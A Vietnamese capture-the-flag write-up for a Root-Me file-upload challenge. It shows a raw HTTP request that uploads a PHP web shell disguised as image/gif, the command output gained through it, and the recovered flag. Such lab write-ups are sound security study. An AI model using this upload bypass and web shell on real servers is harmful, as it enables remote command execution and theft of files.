



Giao diện trang web cho phép upload file ảnh như hình trên.

Ta sẽ tạo đoạn code php. Trong đó nhận vào biến command để thực thi lệnh. Nếu upload file thành công ta có thể exploit vào server thông qua biến command.

```
1 POST /web-serveur/ch21/?action=upload HTTP/1.1
2 Host: challenge01.root-me.org
3 Content-Length: 240
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://challenge01.root-me.org
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz7ABGhrelpATT2q
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
9 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
0.9
10 Referer: http://challenge01.root-me.org/web-serveur/ch21/?action=upload
11 Accept-Encoding: gzip, deflate
12 Accept-Language: en-US,en;q=0.9
13 Cookie: PHPSESSID=d58385af599abd0caaa7926bfa3c71d1
14 Connection: close
15
16 -----WebKitFormBoundaryz7ABGhrelpATT2qr
17 Content-Disposition: form-data; name="file"; filename="codecode.php"
18 Content-Type: image/gif
19
20 <?php
21     system($_GET['command']);
22 ?>
23 -----WebKitFormBoundaryz7ABGhrelpATT2qr--
```

Để request được server chấp nhận thì cần đổi kiểu file thành image/gif như hình trên.

Photo gallery v 0.03

| [defaced](#) | [upload](#) | [pirate](#)

File information :

- Upload: codecode.php
- Type: image/gif
- Size: 0.0390625 kB
- Stored in: /codecode.php

File uploaded.

Kết quả upload hình thành công. Bây giờ tiến hành exploit thông qua command trong URL.

```
total 40 drwxr-s--- 4 web-serveur-ch21 www-data 4096 Feb 7 2018 . drwxr-s--x 74 .passwd 0/1 - 1 challenge challenge  
666 Jan 14 2017 ._init -r----- 1 challenge challenge 274 Oct 21 2016 ._nginx.http  
-r----- 1 challenge challenge 574 Feb 7 2018 ._php-fpm.pool.inc -r----- 1 web-serveur-ch21 www-data 26 Dec 21 2016 .passwd drwxr-s--- 5 web-serveur-ch21 www-data 4096 Oct 8 2014 galerie -rw-r---- 1 web-serveur-ch21 www-data 3825 Feb 7 2018 index.php drwxrwxrwx 2 web-serveur-ch21 www-data 4096 May 12 09:57 tmp
```

Sau khi đi một vòng các thư mục thì tìm được file **.passwd** như hình trên.

```
a7n4nizpgQgnPERy89uanf6T4
```

Cuối cùng cat giá trị trong file đó chính là flag của challenge.